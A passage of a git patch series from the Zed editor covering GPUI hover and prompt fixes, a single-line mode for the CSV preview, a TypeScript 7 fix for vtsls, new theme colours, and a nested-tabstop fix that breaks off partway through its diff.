 1 file changed, 102 insertions(+), 3 deletions(-)

diff --git a/crates/gpui/src/elements/div.rs b/crates/gpui/src/elements/div.rs
index 5633371f5b2285..c53c76e7871782 100644
--- a/crates/gpui/src/elements/div.rs
+++ b/crates/gpui/src/elements/div.rs
@@ -2669,8 +2669,8 @@ impl Interactivity {
                     if phase == DispatchPhase::Capture && group_hovered != was_group_hovered {
                         if let Some(hover_state) = &hover_state {
                             hover_state.borrow_mut().group = group_hovered;
+                            cx.notify(current_view);
                         }
-                        cx.notify(current_view);
                     }
                 });
             }
@@ -4114,9 +4114,108 @@ mod tests {
     use super::*;
     use crate::{
         AnyWindowHandle, AppContext as _, Context, InputEvent, Keystroke, MouseMoveEvent,
-        TestAppContext, util::FluentBuilder as _,
+        TestAppContext, canvas, util::FluentBuilder as _,
     };
-    use std::rc::Weak;
+    use std::{cell::Cell, rc::Weak};
+
+    struct GroupHoverTestView {
+        render_count: Rc<Cell<usize>>,
+        anonymous_paint_count: Rc<Cell<usize>>,
+        stateful_width: Rc<Cell<Pixels>>,
+    }
+
+    impl Render for GroupHoverTestView {
+        fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+            self.render_count.set(self.render_count.get() + 1);
+            let anonymous_paint_count = self.anonymous_paint_count.clone();
+            let stateful_width = self.stateful_width.clone();
+            div().size_full().child(
+                div()
+                    .ml(px(20.))
+                    .mt(px(20.))
+                    .size(px(50.))
+                    .relative()
+                    .group("hover-group")
+                    .child(
+                        div()
+                            .absolute()
+                            .size_full()
+                            .invisible()
+                            .group_hover("hover-group", |style| style.visible())
+                            .child(canvas(
+                                |_, _, _| {},
+                                move |_, _, _, _| {
+                                    anonymous_paint_count.set(anonymous_paint_count.get() + 1)
+                                },
+                            )),
+                    )
+                    .child(
+                        div()
+                            .id("stateful-group-hover-target")
+                            .absolute()
+                            .top_0()
+                            .left_0()
+                            .size(px(10.))
+                            .group_hover("hover-group", |style| style.size(px(20.)))
+                            .child(canvas(
+                                move |bounds, _, _| stateful_width.set(bounds.size.width),
+                                |_, _, _, _| {},
+                            )),
+                    ),
+            )
+        }
+    }
+
+    #[gpui::test]
+    fn group_hover_styles_update_only_on_transitions(cx: &mut TestAppContext) {
+        let render_count = Rc::new(Cell::new(0));
+        let anonymous_paint_count = Rc::new(Cell::new(0));
+        let stateful_width = Rc::new(Cell::new(px(0.)));
+        let window = cx.add_window({
+            let render_count = render_count.clone();
+            let anonymous_paint_count = anonymous_paint_count.clone();
+            let stateful_width = stateful_width.clone();
+            move |_, _| GroupHoverTestView {
+                render_count,
+                anonymous_paint_count,
+                stateful_width,
+            }
+        });
+        let window = AnyWindowHandle::from(window);
+
+        cx.update_window(window, |_, window, cx| window.draw(cx).clear())
+            .unwrap();
+        assert_eq!(anonymous_paint_count.get(), 0);
+        assert_eq!(stateful_width.get(), px(10.));
+
+        let move_mouse = |cx: &mut TestAppContext, position| {
+            cx.update_window(window, |_, window, cx| {
+                window.simulate_mouse_move(position, cx)
+            })
+            .unwrap();
+        };
+
+        let initial_render_count = render_count.get();
+        move_mouse(cx, point(px(25.), px(25.)));
+        assert_eq!(render_count.get(), initial_render_count + 1);
+        assert_eq!(anonymous_paint_count.get(), 1);
+        assert_eq!(stateful_width.get(), px(20.));
+
+        move_mouse(cx, point(px(30.), px(30.)));
+        assert_eq!(render_count.get(), initial_render_count + 1);
+        assert_eq!(anonymous_paint_count.get(), 1);
+        assert_eq!(stateful_width.get(), px(20.));
+
+        move_mouse(cx, point(px(5.), px(5.)));
+        assert_eq!(render_count.get(), initial_render_count + 2);
+        assert_eq!(anonymous_paint_count.get(), 1);
+        assert_eq!(stateful_width.get(), px(10.));
+
+        move_mouse(cx, point(px(10.), px(10.)));
+        assert_eq!(render_count.get(), initial_render_count + 2);
+        assert_eq!(anonymous_paint_count.get(), 1);
+        assert_eq!(stateful_width.get(), px(10.));
+    }
 
     struct TestTooltipView;
 

From f688bee4fe7799f4c8fe1b8d05f32443f935e680 Mon Sep 17 00:00:00 2001
From: Oleksandr Kholiavko <43780952+HalavicH@users.noreply.github.com>
Date: Thu, 16 Jul 2026 21:28:22 +0200
Subject: [PATCH 508/772] csv_preview: Add single-line row displaying mode
 (#61127)

### Changes

Adds a checkbox to toggle between multiline cells (current behavior) and
single-line rows that clip overflow, so wide CSVs stay compact when full
cell content isn't needed at a glance.

#### Demo
| Before | After |
| --- | --- |
| No single line mode | <img width="662" height="316" alt="image"
src="https://github.com/user-attachments/assets/3f2a9673-557c-4539-b755-9ff2633de2d7"
/> |
| <img width="666" height="287" alt="image"
src="https://github.com/user-attachments/assets/703f7214-a722-4fa5-9125-f043439e21b2"
/> | <img width="660" height="317" alt="image"
src="https://github.com/user-attachments/assets/be6ca912-e686-44da-90eb-58f09fab51f1"
/> |

### Testing

- Toggle "Display multiline rows" off: cells clip to one line with
ellipsis instead of wrapping
- Toggle it back on: cells wrap and grow to show full content
- Resize the window / change font size: single-line clip height tracks
the actual text line height instead of a stale hardcoded value

Release Notes:

-  N/A
---
 .gitignore                                    |  2 ++
 crates/csv_preview/src/csv_preview.rs         | 21 ++++++++-----
 .../csv_preview/src/renderer/preview_view.rs  | 10 +++++-
 .../csv_preview/src/renderer/render_table.rs  | 22 ++++++++++---
 .../src/renderer/row_identifiers.rs           | 22 +++++--------
 crates/csv_preview/src/renderer/settings.rs   | 31 ++++++++++++++++---
 .../csv_preview/src/renderer/table_header.rs  |  1 +
 crates/csv_preview/src/settings.rs            |  9 ++++++
 8 files changed, 85 insertions(+), 33 deletions(-)

diff --git a/.gitignore b/.gitignore
index cf75babbcdd86f..43a48ce78cbdf2 100644
--- a/.gitignore
+++ b/.gitignore
@@ -58,3 +58,5 @@ crates/docs_preprocessor/actions.json
 
 # NixOS integration test state
 .nixos-test-history
+
+.local*
diff --git a/crates/csv_preview/src/csv_preview.rs b/crates/csv_preview/src/csv_preview.rs
index 8f8ba76875436b..cc86fc63dd74f1 100644
--- a/crates/csv_preview/src/csv_preview.rs
+++ b/crates/csv_preview/src/csv_preview.rs
@@ -49,6 +49,10 @@ pub struct CsvPreviewView {
     /// Performance metrics for debugging and monitoring CSV operations.
     pub(crate) performance_metrics: PerformanceMetrics,
     pub(crate) list_state: gpui::ListState,
+    /// Cached row height, refreshed from the actual text line height on every render.
+    /// Used to size not-yet-rendered rows for the scrollbar without a full `.measure_all()`
+    /// pass, so it tracks the real row height instead of a hardcoded guess.
+    pub(crate) row_height: Pixels,
     /// Time when the last parsing operation ended, used for smart debouncing
     pub(crate) last_parse_end_time: Option<std::time::Instant>,
 }
@@ -94,7 +98,7 @@ impl CsvPreviewView {
                         .and_then(|item| item.act_as::<Editor>(cx))
                         .filter(|editor| Self::is_csv_file(editor, cx))
                     {
-                        let csv_preview = Self::new(&editor, cx);
+                        let csv_preview = Self::new(&editor, window, cx);
                         workspace.active_pane().update(cx, |pane, cx| {
                             let existing = pane
                                 .items_of_type::<CsvPreviewView>()
@@ -115,7 +119,7 @@ impl CsvPreviewView {
                             .and_then(|item| item.act_as::<Editor>(cx))
                             .filter(|editor| Self::is_csv_file(editor, cx))
                         {
-                            let csv_preview = Self::new(&editor, cx);
+                            let csv_preview = Self::new(&editor, window, cx);
                             let pane = workspace
                                 .find_pane_in_direction(SplitDirection::Right, cx)
                                 .unwrap_or_else(|| {
@@ -152,7 +156,7 @@ impl CsvPreviewView {
         });
     }
 
-    fn new(editor: &Entity<Editor>, cx: &mut Context<Workspace>) -> Entity<Self> {
+    fn new(editor: &Entity<Editor>, window: &Window, cx: &mut Context<Workspace>) -> Entity<Self> {
         let contents = TableLikeContent::default();
         let table_interaction_state = cx.new(|cx| {
             TableInteractionState::new(cx).with_custom_scrollbar(ui::Scrollbars::for_settings::<
@@ -173,6 +177,7 @@ impl CsvPreviewView {
                 },
             );
 
+            let row_height = window.pixel_snap(window.line_height());
             let mut view = CsvPreviewView {
                 focus_handle: cx.focus_handle(),
                 active_editor_state: EditorState {
@@ -186,7 +191,8 @@ impl CsvPreviewView {
                 filter_sort_task: None,
                 performance_metrics: PerformanceMetrics::default(),
                 list_state: gpui::ListState::new(contents.rows.len(), ListAlignment::Top, px(1.))
-                    .with_uniform_item_height(px(24.)),
+                    .with_uniform_item_height(row_height),
+                row_height,
                 settings: CsvPreviewSettings::default(),
                 last_parse_end_time: None,
                 engine: TableDataEngine::default(),
@@ -239,11 +245,10 @@ impl CsvPreviewView {
             this.update(cx, |view, cx| {
                 view.engine.set_d2d_mapping(mapping);
                 let visible_rows = view.engine.d2d_mapping().visible_row_count();
-                // Approximation of single csv table row height. Will be re-measured on scrolling.
-                // This cheap solution allow to render scrollbar with fraction of a cost compared to `.measure_all()` call
-                let approximate_height = px(24.);
+                // Uses the row height measured on the last render. Cheaper than a full
+                // `.measure_all()` pass; exact row heights are re-measured on scrolling.
                 view.list_state
-                    .reset_with_uniform_height(visible_rows, approximate_height);
+                    .reset_with_uniform_height(visible_rows, view.row_height);
                 cx.notify();
             })
             .ok();
diff --git a/crates/csv_preview/src/renderer/preview_view.rs b/crates/csv_preview/src/renderer/preview_view.rs
index 335633656afb84..f46014294324bc 100644
--- a/crates/csv_preview/src/renderer/preview_view.rs
+++ b/crates/csv_preview/src/renderer/preview_view.rs
@@ -7,7 +7,15 @@ use crate::CsvPreviewView;
 impl Render for CsvPreviewView {
     fn render(&mut self, window: &mut Window, cx: &mut Context<Self>) -> impl IntoElement {
         let theme = cx.theme();
-
+        let row_height = window.pixel_snap(window.line_height());
+        if row_height != self.row_height {
+            self.row_height = row_height;
+            // Font size (rem size, buffer font override, ...) changed since the list was last
+            // measured: existing rows and unmeasured-item height hints are now the wrong size.
+            // Unlike `reset_with_uniform_height`, this preserves scroll position and keeps each
+            // item's prior size as a hint rather than dropping straight to a fresh guess.
+            self.list_state.remeasure();
+        }
         let render_prep_start = Instant::now();
         let table_with_settings = v_flex()
             .size_full()
diff --git a/crates/csv_preview/src/renderer/render_table.rs b/crates/csv_preview/src/renderer/render_table.rs
index 511e36abd1773b..9a38a3fedd36ae 100644
--- a/crates/csv_preview/src/renderer/render_table.rs
+++ b/crates/csv_preview/src/renderer/render_table.rs
@@ -69,6 +69,7 @@ impl CsvPreviewView {
                                     cols,
                                     display_row,
                                     row_identifier_text_color,
+                                    this.row_height,
                                     cx,
                                 )
                                 .unwrap_or_else(|| panic!("Expected to render a table row"))
@@ -83,6 +84,7 @@ impl CsvPreviewView {
                                     .rendered_indices
                                     .extend(range.clone());
 
+                                let row_height = this.row_height;
                                 range
                                     .filter_map(|display_index| {
                                         Self::render_single_table_row(
@@ -90,6 +92,7 @@ impl CsvPreviewView {
                                             cols,
                                             DisplayRow(display_index),
                                             row_identifier_text_color,
+                                            row_height,
                                             cx,
                                         )
                                     })
@@ -110,6 +113,7 @@ impl CsvPreviewView {
         cols: usize,
         display_row: DisplayRow,
         row_identifier_text_color: gpui::Hsla,
+        row_height: Pixels,
         cx: &Context<CsvPreviewView>,
     ) -> Option<UncheckedTableRow<AnyElement>> {
         // Get the actual row index from our sorted indices
@@ -128,14 +132,23 @@ impl CsvPreviewView {
 
             let display_cell_id = DisplayCellId::new(display_row, col);
 
-            let cell = div().size_full().whitespace_nowrap().text_ellipsis().child(
-                CsvPreviewView::create_selectable_cell(
+            let cell = div()
+                .size_full()
+                .when(
+                    !this.settings.multiline_cells_effectively_enabled(),
+                    |div| {
+                        div.whitespace_nowrap()
+                            .text_ellipsis()
+                            .h(row_height)
+                            .overflow_hidden()
+                    },
+                )
+                .child(CsvPreviewView::create_selectable_cell(
                     display_cell_id,
                     cell_content,
                     this.settings.vertical_alignment,
                     cx,
-                ),
-            );
+                ));
 
             elements.push(
                 div()
@@ -154,7 +167,6 @@ impl CsvPreviewView {
                             },
                         ))
                     })
-                    .text_ui(cx)
                     .child(cell)
                     .into_any_element(),
             );
diff --git a/crates/csv_preview/src/renderer/row_identifiers.rs b/crates/csv_preview/src/renderer/row_identifiers.rs
index 770e266186faed..b997f645769b95 100644
--- a/crates/csv_preview/src/renderer/row_identifiers.rs
+++ b/crates/csv_preview/src/renderer/row_identifiers.rs
@@ -1,12 +1,12 @@
 use ui::{
     ActiveTheme as _, AnyElement, Button, ButtonCommon as _, ButtonSize, ButtonStyle,
-    Clickable as _, Context, ElementId, FluentBuilder as _, IntoElement as _, ParentElement as _,
-    SharedString, Styled as _, StyledTypography as _, Tooltip, div,
+    Clickable as _, Context, ElementId, IntoElement as _, ParentElement as _, SharedString,
+    Styled as _, StyledTypography as _, Tooltip, div,
 };
 
 use crate::{
     CsvPreviewView,
-    settings::{RowIdentifiers, VerticalAlignment},
+    settings::RowIdentifiers,
     types::{DataRow, DisplayRow, LineNumber},
 };
 
@@ -34,7 +34,7 @@ impl LineNumber {
                     if start + 1 == end {
                         format!("{start}\n{end}")
                     } else {
-                        format!("{start}\n...\n{end}")
+                        format!("{start}\n-\n{end}")
                     }
                 }
                 RowIdentDisplayMode::Horizontal => {
@@ -78,11 +78,6 @@ impl CsvPreviewView {
             (max_line_number as f32).log10().floor() as usize + 1
         };
 
-        // if !self.settings.multiline_cells_enabled {
-        //     // Uses horizontal line numbers layout like `123-456`. Needs twice the size
-        //     digit_count *= 2;
-        // }
-
         let char_width_px = 9.0; // TODO: get real width of the characters
         let base_width = (digit_count as f32) * char_width_px;
         let padding = 20.0;
@@ -157,7 +152,7 @@ impl CsvPreviewView {
                 .contents
                 .line_numbers
                 .get(*data_row)?
-                .display_string(if self.settings.multiline_cells_enabled {
+                .display_string(if self.settings.multiline_cells_effectively_enabled() {
                     RowIdentDisplayMode::Vertical
                 } else {
                     RowIdentDisplayMode::Horizontal
@@ -172,14 +167,11 @@ impl CsvPreviewView {
             .border_color(cx.theme().colors().border_variant)
             .bg(cx.theme().colors().panel_background)
             .h_full()
-            .text_ui(cx)
             .text_color(cx.theme().colors().text_muted)
             .justify_center()
-            .map(|div| match self.settings.vertical_alignment {
-                VerticalAlignment::Top => div.items_start(),
-                VerticalAlignment::Center => div.items_center(),
-            })
+            .items_center()
             .font_buffer(cx)
+            .text_ui(cx)
             .child(row_identifier)
             .into_any_element();
         Some(value)
diff --git a/crates/csv_preview/src/renderer/settings.rs b/crates/csv_preview/src/renderer/settings.rs
index 18c185bb0f3c66..fe8f671f92c09f 100644
--- a/crates/csv_preview/src/renderer/settings.rs
+++ b/crates/csv_preview/src/renderer/settings.rs
@@ -1,6 +1,7 @@
 use ui::{
-    ActiveTheme as _, AnyElement, ButtonSize, Context, ContextMenu, DropdownMenu, ElementId,
-    IntoElement as _, ParentElement as _, Styled as _, Tooltip, Window, div, h_flex,
+    ActiveTheme as _, AnyElement, ButtonSize, Checkbox, Context, ContextMenu, DropdownMenu,
+    ElementId, IntoElement as _, ParentElement as _, Styled as _, ToggleState, Tooltip, Window,
+    div, h_flex,
 };
 
 use crate::{
@@ -121,6 +122,30 @@ impl CsvPreviewView {
                     ),
             );
 
+        let multiline_enabled = self.settings.multiline_cells_enabled;
+        let panel = panel.child({
+            let view = view.clone();
+            Checkbox::new(
+                ElementId::Name("multiline-rows-checkbox".into()),
+                if multiline_enabled {
+                    ToggleState::Selected
+                } else {
+                    ToggleState::Unselected
+                },
+            )
+            .label("Display multiline rows")
+            .tooltip(Tooltip::text(
+                "When enabled, row height grows to show all content. \
+                 When disabled, only the first line is visible — hover a cell to see the rest.",
+            ))
+            .on_click(move |_state, _window, cx| {
+                view.update(cx, |this, cx| {
+                    this.settings.multiline_cells_enabled = !this.settings.multiline_cells_enabled;
+                    cx.notify();
+                });
+            })
+        });
+
         #[cfg(feature = "dev-tools")]
         let panel = panel.child(
             h_flex()
@@ -171,7 +196,6 @@ fn create_dev_only_popover_menu(
                                     view_entity.update(cx, |view, cx| {
                                         view.settings.rendering_with =
                                             RowRenderMechanism::VariableList;
-                                        view.settings.multiline_cells_enabled = true;
                                         cx.notify();
                                     })
                                 }
@@ -188,7 +212,6 @@ fn create_dev_only_popover_menu(
                                     view_entity.update(cx, |view, cx| {
                                         view.settings.rendering_with =
                                             RowRenderMechanism::UniformList;
-                                        view.settings.multiline_cells_enabled = false;
                                         cx.notify();
                                     })
                                 }
diff --git a/crates/csv_preview/src/renderer/table_header.rs b/crates/csv_preview/src/renderer/table_header.rs
index 6549cb51520de6..444ee09099338e 100644
--- a/crates/csv_preview/src/renderer/table_header.rs
+++ b/crates/csv_preview/src/renderer/table_header.rs
@@ -44,6 +44,7 @@ impl CsvPreviewView {
             .w_full()
             .items_center()
             .font_buffer(cx)
+            .text_buffer(cx)
             .child(
                 div()
                     .flex_1()
diff --git a/crates/csv_preview/src/settings.rs b/crates/csv_preview/src/settings.rs
index 2d5cc78c5f5645..dc871fa4b38789 100644
--- a/crates/csv_preview/src/settings.rs
+++ b/crates/csv_preview/src/settings.rs
@@ -46,3 +46,12 @@ pub(crate) struct CsvPreviewSettings {
     pub(crate) show_perf_metrics_overlay: bool,
     pub(crate) multiline_cells_enabled: bool,
 }
+
+impl CsvPreviewSettings {
+    /// `multiline_cells_enabled` only makes sense with `VariableList`, which
+    /// supports per-row heights; `UniformList` requires every row to share one
+    /// height, so multiline is never honored there regardless of the setting.
+    pub(crate) fn multiline_cells_effectively_enabled(&self) -> bool {
+        self.multiline_cells_enabled && self.rendering_with == RowRenderMechanism::VariableList
+    }
+}

From 058f01fa93503491a735bfded53e77bfaa276148 Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Fri, 17 Jul 2026 01:15:21 +0530
Subject: [PATCH 509/772] gpui: Fix clicks on window prompts dismissing
 popovers behind them (#61136)

I noticed that when Zed renders prompts in-window (Linux, or
`use_system_prompts: false`), clicking a prompt button also dismisses
the popover behind it. Native macOS dialogs don't have this problem
since the click goes to the OS dialog and the window never sees it.

For example, in the worktree picker:
1. Delete a dirty worktree.
2. Confirm "Force Delete".
3. Mouse down dismissed the picker, which aborted the confirmed
deletion.

This PR makes GPUI-rendered prompts behave the same way as native. If
someone actually wants to observe mouse downs during a prompt, the raw
`window.on_mouse_event` API still sees every event.

macOS:


https://github.com/user-attachments/assets/9f85622f-c0d1-44f2-83f9-8378d9d7d13b


Before GPUI prompt:


https://github.com/user-attachments/assets/d1845ba1-9886-4733-8cf6-ab32424416e1

After GPUI prompt:


https://github.com/user-attachments/assets/27936aca-8de5-4da8-88be-d88dbc1259d8

Release Notes:

- Fixed confirmation dialog buttons dismissing the popover underneath
them on click when using Zed-rendered prompts.
---
 crates/gpui/src/elements/div.rs | 86 ++++++++++++++++++++++++++++++++-
 crates/gpui/src/window.rs       |  8 +++
 2 files changed, 93 insertions(+), 1 deletion(-)

diff --git a/crates/gpui/src/elements/div.rs b/crates/gpui/src/elements/div.rs
index c53c76e7871782..c02bd16b77e421 100644
--- a/crates/gpui/src/elements/div.rs
+++ b/crates/gpui/src/elements/div.rs
@@ -262,7 +262,10 @@ impl Interactivity {
     ) {
         self.mouse_down_listeners
             .push(Box::new(move |event, phase, hitbox, window, cx| {
-                if phase == DispatchPhase::Capture && !hitbox.contains(&window.mouse_position()) {
+                if phase == DispatchPhase::Capture
+                    && !window.has_active_prompt()
+                    && !hitbox.contains(&window.mouse_position())
+                {
                     (listener)(event, window, cx)
                 }
             }));
@@ -4523,6 +4526,87 @@ mod tests {
         assert!(active_tooltip.borrow().is_none());
     }
 
+    struct MouseDownOutOwner {
+        mouse_down_out_count: Rc<RefCell<usize>>,
+    }
+
+    impl Render for MouseDownOutOwner {
+        fn render(&mut self, _window: &mut Window, _cx: &mut Context<Self>) -> impl IntoElement {
+            let mouse_down_out_count = self.mouse_down_out_count.clone();
+            div()
+                .size_full()
+                .child(div().id("target").w(px(50.)).h(px(50.)).on_mouse_down_out(
+                    move |_, _, _| {
+                        *mouse_down_out_count.borrow_mut() += 1;
+                    },
+                ))
+        }
+    }
+
+    #[test]
+    fn mouse_down_out_is_suppressed_while_window_prompt_is_active() {
+        let mut test_app = TestAppContext::single();
+        let mouse_down_out_count = Rc::new(RefCell::new(0));
+        let window = test_app.add_window({
+            let mouse_down_out_count = mouse_down_out_count.clone();
+            move |_, _| MouseDownOutOwner {
+                mouse_down_out_count,
+            }
+        });
+        let any_window: AnyWindowHandle = window.into();
+
+        fn dispatch_mouse_down_outside_target(
+            test_app: &mut TestAppContext,
+            any_window: AnyWindowHandle,
+        ) {
+            test_app
+                .update_window(any_window, |_, window, cx| {
+                    window.dispatch_event(
+                        MouseDownEvent {
+                            position: point(px(75.), px(75.)),
+                            button: MouseButton::Left,
+                            modifiers: Default::default(),
+                            click_count: 1,
+                            first_mouse: false,
+                        }
+                        .to_platform_input(),
+                        cx,
+                    );
+                })
+                .unwrap();
+        }
+
+        test_app
+            .update_window(any_window, |_, window, cx| {
+                window.draw(cx).clear();
+            })
+            .unwrap();
+
+        dispatch_mouse_down_outside_target(&mut test_app, any_window);
+        assert_eq!(
+            *mouse_down_out_count.borrow(),
+            1,
+            "mouse down outside the element should fire mouse-down-out listeners"
+        );
+
+        test_app
+            .update_window(any_window, |_, window, cx| {
+                cx.set_prompt_builder(crate::fallback_prompt_renderer);
+                let _receiver =
+                    window.prompt(crate::PromptLevel::Warning, "message", None, &["Ok"], cx);
+                assert!(window.has_active_prompt());
+                window.draw(cx).clear();
+            })
+            .unwrap();
+
+        dispatch_mouse_down_outside_target(&mut test_app, any_window);
+        assert_eq!(
+            *mouse_down_out_count.borrow(),
+            1,
+            "mouse down over an active prompt should not fire mouse-down-out listeners"
+        );
+    }
+
     #[test]
     fn test_write_a11y_info_string_and_numeric_properties() {
         let mut interactivity = Interactivity::default();
diff --git a/crates/gpui/src/window.rs b/crates/gpui/src/window.rs
index 4c8b4651c8c2a2..6a2bbf7874b695 100644
--- a/crates/gpui/src/window.rs
+++ b/crates/gpui/src/window.rs
@@ -5343,6 +5343,14 @@ impl Window {
         receiver
     }
 
+    /// Returns whether a prompt rendered by GPUI is currently active in this window.
+    ///
+    /// This is only true for prompts rendered in the window (see
+    /// [`App::set_prompt_builder`]), not for platform-native prompt dialogs.
+    pub fn has_active_prompt(&self) -> bool {
+        self.prompt.is_some()
+    }
+
     /// Returns the current context stack.
     pub fn context_stack(&self) -> Vec<KeyContext> {
         let node_id = self.focus_node_id_in_rendered_frame(self.focus);

From c7ee116ead3476eaf6f34a8bbb833f628d300959 Mon Sep 17 00:00:00 2001
From: Smit Barmase <heysmitbarmase@gmail.com>
Date: Fri, 17 Jul 2026 11:29:19 +0530
Subject: [PATCH 510/772] vtsls: Fix invalid tsserver install error in
 TypeScript 7 projects (#61126)

Closes #60761

Follow-up to #60970, which fixed this for `typescript-language-server`.
`vtsls` had the same problem, we only checked that the workspace tsdk
directory exists, but TypeScript 7 ships it without `tsserver.js`,
causing vtsls to error on startup.

Now we do the same `tsserver.js` check, so vtsls silently falls back to
its bundled TypeScript (see #60951).

Release Notes:

- Fixed vtsls showing a "doesn't point to a valid tsserver install"
error on startup in projects using TypeScript 7. For full TypeScript 7
support, install the `tsgo` extension to use TypeScript's native
language server.
---
 crates/languages/src/typescript.rs | 2 ++
 crates/languages/src/vtsls.rs      | 8 +++++++-
 2 files changed, 9 insertions(+), 1 deletion(-)

diff --git a/crates/languages/src/typescript.rs b/crates/languages/src/typescript.rs
index a23b66021c1498..0da1b63590e14f 100644
--- a/crates/languages/src/typescript.rs
+++ b/crates/languages/src/typescript.rs
@@ -637,6 +637,8 @@ impl TypeScriptLspAdapter {
             "node_modules/typescript/lib"
         };
 
+        // typescript-language-server doesn't support TypeScript 7+, which no longer
+        // ships `tsserver.js`.
         if self
             .fs
             .is_file(
diff --git a/crates/languages/src/vtsls.rs b/crates/languages/src/vtsls.rs
index 426f09d6c94a4d..5be98804d696a7 100644
--- a/crates/languages/src/vtsls.rs
+++ b/crates/languages/src/vtsls.rs
@@ -57,9 +57,15 @@ impl VtslsLspAdapter {
             Self::TYPESCRIPT_TSDK_PATH
         };
 
+        // vtsls doesn't support TypeScript 7+, which no longer ships `tsserver.js`.
         if self
             .fs
-            .is_dir(&adapter.worktree_root_path().join(tsdk_path))
+            .is_file(
+                &adapter
+                    .worktree_root_path()
+                    .join(tsdk_path)
+                    .join("tsserver.js"),
+            )
             .await
         {
             Some(tsdk_path)

From a3f6ef252b6de19d22a1223952fc335253163642 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Fri, 17 Jul 2026 10:41:28 +0300
Subject: [PATCH 511/772] Add more parameter colors to the theme (#61134)

Follow-up to https://github.com/zed-industries/zed/pull/60949 based on
https://github.com/zed-industries/zed/pull/60949#issuecomment-4994719726


`basedpyright` sends the token we lack the theme element for

<img width="1141" height="599" alt="before"
src="https://github.com/user-attachments/assets/47fd6375-507d-4419-810b-04e69251fe90"
/>

supports that in theme definitions:

<img width="385" height="244" alt="after"
src="https://github.com/user-attachments/assets/edfe3866-4bdb-480d-9bbd-b76c1366d311"
/>


---

Release Notes:

- Added `variable.parameter` theme color
---
 assets/themes/ayu/ayu.json         | 15 +++++++++++++++
 assets/themes/gruvbox/gruvbox.json | 30 ++++++++++++++++++++++++++++++
 assets/themes/one/one.json         | 10 ++++++++++
 3 files changed, 55 insertions(+)

diff --git a/assets/themes/ayu/ayu.json b/assets/themes/ayu/ayu.json
index f27566c4f72cac..ee5073e7a44f78 100644
--- a/assets/themes/ayu/ayu.json
+++ b/assets/themes/ayu/ayu.json
@@ -387,6 +387,11 @@
             "font_style": null,
             "font_weight": null
           },
+          "variable.parameter": {
+            "color": "#d2a6ffff",
+            "font_style": null,
+            "font_weight": null
+          },
           "variant": {
             "color": "#5ac1feff",
             "font_style": null,
@@ -789,6 +794,11 @@
             "font_style": null,
             "font_weight": null
           },
+          "variable.parameter": {
+            "color": "#a37accff",
+            "font_style": null,
+            "font_weight": null
+          },
           "variant": {
             "color": "#3b9ee5ff",
             "font_style": null,
@@ -1191,6 +1201,11 @@
             "font_style": null,
             "font_weight": null
           },
+          "variable.parameter": {
+            "color": "#dfbfffff",
+            "font_style": null,
+            "font_weight": null
+          },
           "variant": {
             "color": "#72cffeff",
             "font_style": null,
diff --git a/assets/themes/gruvbox/gruvbox.json b/assets/themes/gruvbox/gruvbox.json
index 4330df54fccae5..75252f781dadc6 100644
--- a/assets/themes/gruvbox/gruvbox.json
+++ b/assets/themes/gruvbox/gruvbox.json
@@ -397,6 +397,11 @@
             "font_style": null,
             "font_weight": null
           },
+          "variable.parameter": {
+            "color": "#83a598ff",
+            "font_style": null,
+            "font_weight": null
+          },
           "variable.special": {
             "color": "#83a598ff",
             "font_style": null,
@@ -814,6 +819,11 @@
             "font_style": null,
             "font_weight": null
           },
+          "variable.parameter": {
+            "color": "#83a598ff",
+            "font_style": null,
+            "font_weight": null
+          },
           "variable.special": {
             "color": "#83a598ff",
             "font_style": null,
@@ -1231,6 +1241,11 @@
             "font_style": null,
             "font_weight": null
           },
+          "variable.parameter": {
+            "color": "#83a598ff",
+            "font_style": null,
+            "font_weight": null
+          },
           "variable.special": {
             "color": "#83a598ff",
             "font_style": null,
@@ -1648,6 +1663,11 @@
             "font_style": null,
             "font_weight": null
           },
+          "variable.parameter": {
+            "color": "#076678ff",
+            "font_style": null,
+            "font_weight": null
+          },
           "variable.special": {
             "color": "#066578ff",
             "font_style": null,
@@ -2065,6 +2085,11 @@
             "font_style": null,
             "font_weight": null
           },
+          "variable.parameter": {
+            "color": "#076678ff",
+            "font_style": null,
+            "font_weight": null
+          },
           "variable.special": {
             "color": "#066578ff",
             "font_style": null,
@@ -2482,6 +2507,11 @@
             "font_style": null,
             "font_weight": null
           },
+          "variable.parameter": {
+            "color": "#076678ff",
+            "font_style": null,
+            "font_weight": null
+          },
           "variable.special": {
             "color": "#066578ff",
             "font_style": null,
diff --git a/assets/themes/one/one.json b/assets/themes/one/one.json
index b6b4dfd0c6357a..698b8febceaf53 100644
--- a/assets/themes/one/one.json
+++ b/assets/themes/one/one.json
@@ -394,6 +394,11 @@
             "font_style": null,
             "font_weight": null
           },
+          "variable.parameter": {
+            "color": "#d07277ff",
+            "font_style": null,
+            "font_weight": null
+          },
           "variable.special": {
             "color": "#bf956aff",
             "font_style": null,
@@ -806,6 +811,11 @@
             "font_style": null,
             "font_weight": null
           },
+          "variable.parameter": {
+            "color": "#d3604fff",
+            "font_style": null,
+            "font_weight": null
+          },
           "variable.special": {
             "color": "#ad6e25ff",
             "font_style": null,

From aa42d3adce0f85abec817d99124b4cedb6d5f359 Mon Sep 17 00:00:00 2001
From: Kirill Bulatov <kirill@zed.dev>
Date: Fri, 17 Jul 2026 10:42:28 +0300
Subject: [PATCH 512/772] Render nested tabstops correctly (#61130)

Closes https://github.com/zed-industries/zed/issues/61112

Now behaves similar to VSCode:

<img width="857" height="552" alt="1"
src="https://github.com/user-attachments/assets/bed95600-c75c-4b1d-a750-17b9eb35db92"
/>

<img width="601" height="243" alt="2"
src="https://github.com/user-attachments/assets/b2e839a5-6ca3-4e3a-8e5f-bc8b3e9a565f"
/>

Release Notes:

- Fixed rust-analyzer's macro with nested tabstops causing panics when
completed
---
 crates/languages/src/rust.rs | 68 +++++++++++++++++++++++++++++++++---
 1 file changed, 63 insertions(+), 5 deletions(-)

diff --git a/crates/languages/src/rust.rs b/crates/languages/src/rust.rs
index 4091be97ed3d19..16e0ff01fd559a 100644
--- a/crates/languages/src/rust.rs
+++ b/crates/languages/src/rust.rs
@@ -489,27 +489,56 @@ impl LspAdapter for RustLspAdapter {
                         .collect::<SmallVec<[_; 8]>>();
                     all_stop_ranges.sort_unstable_by_key(|a| (a.start, Reverse(a.end)));
 
+                    // Placeholders may nest, e.g. `$2` inside `${1:"$2"}`
+                    struct OpenPlaceholder {
+                        snippet_text_end: usize,
+                        label_run_start: usize,
